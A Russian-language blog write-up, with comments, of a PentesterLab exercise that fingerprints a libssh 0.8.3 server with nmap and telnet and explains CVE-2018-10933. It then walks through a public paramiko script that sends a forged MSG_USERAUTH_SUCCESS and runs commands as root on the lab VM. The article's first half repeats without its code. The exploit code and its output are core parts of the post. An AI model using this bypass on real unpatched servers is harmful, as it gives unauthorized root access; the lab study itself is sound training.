Я начинаю цикл статей, посвященных разбору задач сервиса pentesterlab. К сожалению, у меня нет Про-версии курса, поэтому я ограничен только списком свободных задач. Каждый кейс — система, содержащая уязвимость, которой необходимо воспользоваться для достижения определенной цели.
Кейс включает в себя хост (виртуальную машину) с запущенной службой SSH. Задача состоит в получении контроля над машиной через обход аутентификации по SSH. Представим, что мы не знаем, какая именно реализация SSH стоит на сервере и какую именно уязвимость нам надо эксплуатировать.
Как это узнать? Первое, что приходит в голову — использовать сетевой сканер nmap с опцией -sV:
В отчете nmap сообщает, что служба ему неизвестна. Но посмотрев отпечатко службы, мы можем увидеть идентификационную строку сервера, из которой очевидно, что порт прослушивает LibSSH версии 0.8.3.
Или получить через WireShark:
Поиски в гугле приводят нас к уязвимости CVE-2018-10933, которой подвержены версии LibSSH с 0.7.6 по 0.8.4. Чтобы ее понять, я кратко расскажу про аутентификацию клиента по протоколу SSH. После установки соединения клиент и сервер договариваются о некотором секрете, называемом Session Key", который будет использоваться для шифрования в течение сессии. Далее, аутентификацию можно разделить на несколько этапов, проходящих в зашифрованном виде:
В участке кода, отвечающем за проверку кода сообщения есть баг, который позволяет серверу принять сообщение SSH_MSG_USERAUTH_SUCSESS. Использую эту брешь можно обойти процесс аутентификации.
На GitHUb'е есть много готовых эксплойтов для этой уязвимости, поэтому не будем изобретать велосипед и рассмотрим вот этот (выражаю благодарность автору скрипта).
Скрипт написан на питоне с использованием paramiko — модуля Python (2.7, 3.4+) протокола SSHv2, обеспечивающую функциональность как клиента, так и сервера. Разберем интересующие нас участки кода:
Этой строкой создается соккет и выполняется подключение к серверу. Что такое соккет очень хорошо рассказано тут.
Этот класс сообщения SSH2. Представляет из себя набор чисел строк и переменные типа bool, собранные в один поток байтов.
Этот класс является средством взаимодействия с протоколом SSH. Создаем его и сразу подключаемся в режиме клиента.
Параметр paramiko.common.cMSG_USERAUTH_SUCCESS представляет из себя число 52, помещенное в один байт. Это код сообщения MSG_USERAUTH_SUCCESS. Это сообщение мы и отправляем на сервер.
Создаем новый канал и сразу отправляем команду, записанную в виде строки в command.
Метод makefile создает файловую обертку вокруг канала. «rb» — режим доступа read byte, 222048 — размер буфера. В out попадает результат отправленной нами команды, который мы выводим через print(). С помощью out.close() мы завершаем соединение.
Осталось запустить этот скрипт, указав ip адрес предварительно скачанной и запущенной виртуалки, и команду, которую мы хотим выполнить на нашей жертве. Я попробовал указать разные команды, и вот результат:
Вывод результата немного корявый, при должном желании можно поправить. Ну а в целом — задачу можно считать выполненной.
To be continued…
LibSSH auth bypass
Кейс включает в себя хост (виртуальную машину) с запущенной службой SSH. Задача состоит в получении контроля над машиной через обход аутентификации по SSH. Представим, что мы не знаем, какая именно реализация SSH стоит на сервере и какую именно уязвимость нам надо эксплуатировать.
Как это узнать? Первое, что приходит в голову — использовать сетевой сканер nmap с опцией -sV:
~$ nmap 192.168.0.89 -p 22 -sV
Nmap scan report for 192.168.0.89
Host is up (0.00100s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh (protocol 2.0)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port22-TCP:V=7.60%I=7%D=3/2%Time=5C7A9190%P=x86_64-pc-linux-gnu%r(NULL,
SF:16,"SSH-2\.0-libssh_0\.8\.3\r\n");
В отчете nmap сообщает, что служба ему неизвестна. Но посмотрев отпечатко службы, мы можем увидеть идентификационную строку сервера, из которой очевидно, что порт прослушивает LibSSH версии 0.8.3.
Вырезка из RFC-4253:Аналогично, эту строку мы могли получить с помощью утилиты telnet:
Сразу после установки соединения клиент и сервер обмениваются сообщениями вида:
SSH-protoversion-softwareversion comments
Поле protoversion указывает версию протокола. Поскольку сейчас актуальна вторая версия SSH, поле должно содержать значение «2.0». Поле softwareversion содержит название и версию реализации протокола используется в основном для инициирования расширений, совместимости и индикации возможностей реализации. Поле comments является необязательным, в нем указывается дополнительная информация, которая может помочь при решении пользовательских проблем.
$ telnet 192.168.0.89 22
Trying 192.168.0.89...
Connected to 192.168.0.89.
Escape character is '^]'.
SSH-2.0-libssh_0.8.3
Bye ByeConnection closed by foreign host.
Или получить через WireShark:
Поиски в гугле приводят нас к уязвимости CVE-2018-10933, которой подвержены версии LibSSH с 0.7.6 по 0.8.4. Чтобы ее понять, я кратко расскажу про аутентификацию клиента по протоколу SSH. После установки соединения клиент и сервер договариваются о некотором секрете, называемом Session Key", который будет использоваться для шифрования в течение сессии. Далее, аутентификацию можно разделить на несколько этапов, проходящих в зашифрованном виде:
- Клиент отправляет серверу сообщение SSH_MSG_USERAUTH_REQUEST, содержащее имя пользователя, название метода аутентификации и дополнительные поля. Сервер может принять запрос или отклонить его сообщением с кодом SSH_MSG_USERAUTH_FAILURE, если предложенный метод аутентификации не поддерживается.
- Второй этап зависит непосредственно от метода аутентификации. В случае с аутентификацией по паролю, клиент отправляет пароль еще на первом этапе, а потом ждет подтверждение от сервера. При аутентификации по открытым ключам отправляется открытый ключ и подпись закрытым ключом. Сервер проверяет, есть ли у него такой пользователь, с таким открытым ключом, и соответствует ли открытый ключ подписи… Еще есть метод аутентификации по хосту, но используется редко, о всех методах аутентификации можно подробно прочитать в RFC-4252(русский, english)
- На третьем этапе клиент ожидает от сервера подтверждение аутентификации. Сервер отправляет сообщение с кодом SSH_MSG_USERAUTH_SUCSESS, если принимает аутентификацию или SSH_MSG_USERAUTH_FAILURE, если отвергает.
В участке кода, отвечающем за проверку кода сообщения есть баг, который позволяет серверу принять сообщение SSH_MSG_USERAUTH_SUCSESS. Использую эту брешь можно обойти процесс аутентификации.
На GitHUb'е есть много готовых эксплойтов для этой уязвимости, поэтому не будем изобретать велосипед и рассмотрим вот этот (выражаю благодарность автору скрипта).
Скрипт написан на питоне с использованием paramiko — модуля Python (2.7, 3.4+) протокола SSHv2, обеспечивающую функциональность как клиента, так и сервера. Разберем интересующие нас участки кода:
sock = socket.socket()
sock.connect((host,int(port)))
Этой строкой создается соккет и выполняется подключение к серверу. Что такое соккет очень хорошо рассказано тут.
message = paramiko.message.Message()
Этот класс сообщения SSH2. Представляет из себя набор чисел строк и переменные типа bool, собранные в один поток байтов.
transport = paramiko.transport.Transport(sock)
transport.start_client()
Этот класс является средством взаимодействия с протоколом SSH. Создаем его и сразу подключаемся в режиме клиента.
message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
transport._send_message(message)
Параметр paramiko.common.cMSG_USERAUTH_SUCCESS представляет из себя число 52, помещенное в один байт. Это код сообщения MSG_USERAUTH_SUCCESS. Это сообщение мы и отправляем на сервер.
cmd = transport.open_session()
cmd.exec_command(command)
Создаем новый канал и сразу отправляем команду, записанную в виде строки в command.
out=cmd.makefile("rb",222048)
output=out.read()
out.close()
print (output)
Метод makefile создает файловую обертку вокруг канала. «rb» — режим доступа read byte, 222048 — размер буфера. В out попадает результат отправленной нами команды, который мы выводим через print(). С помощью out.close() мы завершаем соединение.
Осталось запустить этот скрипт, указав ip адрес предварительно скачанной и запущенной виртуалки, и команду, которую мы хотим выполнить на нашей жертве. Я попробовал указать разные команды, и вот результат:
#смотри имя учетной записи, под которой мы попали
$ ./LibAuth.py --host 192.168.0.89 -c whoami
b'root\n'
#время на сервере
$ ./LibAuth.py --host 192.168.0.89 -c date
b'Wed Mar 6 22:50:00 UTC 2019\n'
#переменные окружения
$ ./LibAuth.py --host 192.168.0.89 -c env
b'USER=pentesterlab\nSHLVL=5\nHOME=/\nuser=pentesterlab\nTERM=linux\nBOOT_IMAGE=/boot/vmlinuz\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/usr/sbin:/bin:/usr/bin\nLANG=C\nSHELL=/bin/sh\ninitrd=/boot/initrd.img\nPWD=/\n'
Вывод результата немного корявый, при должном желании можно поправить. Ну а в целом — задачу можно считать выполненной.
To be continued…
Комментарии (6)
rwf96
09.03.2019 15:59А если команда nmap не выводит версию LibSSH, есть ли другие способы ее определить? Получаю вот такой результат команды nmap — Service detection performed. Please report any incorrect results at «nmap.org/submit».
l0rda
Статья о том как запустить эксплоит?
DVoropaev Автор
статья о том, как запустить эксплоит была бы написана в одну строчку
l0rda
Да, много воды
DVoropaev Автор
например? Что в этой статье вам кажется лишним?